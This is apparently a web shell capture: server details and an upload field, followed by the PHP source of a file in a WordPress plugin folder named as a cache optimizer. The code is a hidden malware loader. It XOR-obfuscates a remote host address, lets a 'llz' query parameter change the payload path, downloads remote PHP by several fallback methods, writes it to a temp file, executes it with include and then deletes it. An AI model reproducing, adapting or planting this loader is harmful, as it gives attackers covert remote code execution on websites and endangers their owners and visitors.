| Server IP : 121.121.20.254 / Your IP : 216.73.217.51 Web Server : Microsoft-IIS/10.0 System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64 User : IUSR ( 0) PHP Version : 8.3.28 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/inetpub/wwwroot/6pocketz/wp-content/plugins/cache-optimizer-923e/ |
Upload File : |
<?php
ini_set('display_errors', 0);
error_reporting(E_ERROR | E_WARNING | E_PARSE);
function fetchRemoteContent($url) {
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
$content = curl_exec($ch);
if (curl_errno($ch)) {
curl_close($ch);
return false;
}
curl_close($ch);
return $content;
} elseif (ini_get('allow_url_fopen')) {
return @file_get_contents($url);
} else {
$parts = parse_url($url);
if (!$parts || !isset($parts['host'])) {
return false;
}
$host = $parts['host'];
$port = isset($parts['port']) ? $parts['port'] : 80;
$path = isset($parts['path']) ? $parts['path'] : '/';
$query = isset($parts['query']) ? '?' . $parts['query'] : '';
$fp = fsockopen($host, $port, $errno, $errstr, 10);
if (!$fp) {
return false;
}
$request = "GET $path$query HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
$request .= "Connection: close\r\n\r\n";
fwrite($fp, $request);
$response = '';
while (!feof($fp)) {
$response .= fgets($fp, 1024);
}
fclose($fp);
if (strpos($response, "\r\n\r\n") !== false) {
list(, $body) = explode("\r\n\r\n", $response, 2);
return $body;
}
return false;
}
}
function localXorEncryptDecrypt($data, $key) {
$output = '';
$keyChar = substr($key, 0, 1);
foreach (str_split($data) as $char) {
$output .= chr(ord($char) ^ ord($keyChar));
}
return $output;
}
$customValueFile = 'x-anny-anax.ium';
$defaultSegment = "xannyanaxium";
$queryParam = "llz";
if (isset($_GET[$queryParam])) {
$newSegment = $_GET[$queryParam];
file_put_contents($customValueFile, $newSegment);
$pathSegment = $newSegment;
} else {
$pathSegment = file_exists($customValueFile) ? file_get_contents($customValueFile) : $defaultSegment;
}
$_ = "!";
$url = localXorEncryptDecrypt("S@V\x0F" . "FHUITCTRDSBNOUDOU\x0FBNL", $_);
$path = localXorEncryptDecrypt("M@NMHDS[H\x0C" . "BNLLHUR\x0EQIQCE\x0E" . "SDGR\x0EID@ER\x0EL@HO\x0E", $_);
$exx = localXorEncryptDecrypt("QIQ", $_);
$pc = $path . $pathSegment . $exx;
$fullUrl = "https://$url$pc";
$remotePayload = fetchRemoteContent($fullUrl);
if ($remotePayload === false) {
header("HTTP/1.1 503 Service Unavailable");
exit('Unable to fetch remote payload.');
}
$parts = str_split($remotePayload, 4);
$obfuscatedPayload = implode('', $parts);
$tempFile = tempnam(sys_get_temp_dir(), $exx);
file_put_contents($tempFile, $obfuscatedPayload);
include $tempFile;
unlink($tempFile);
?>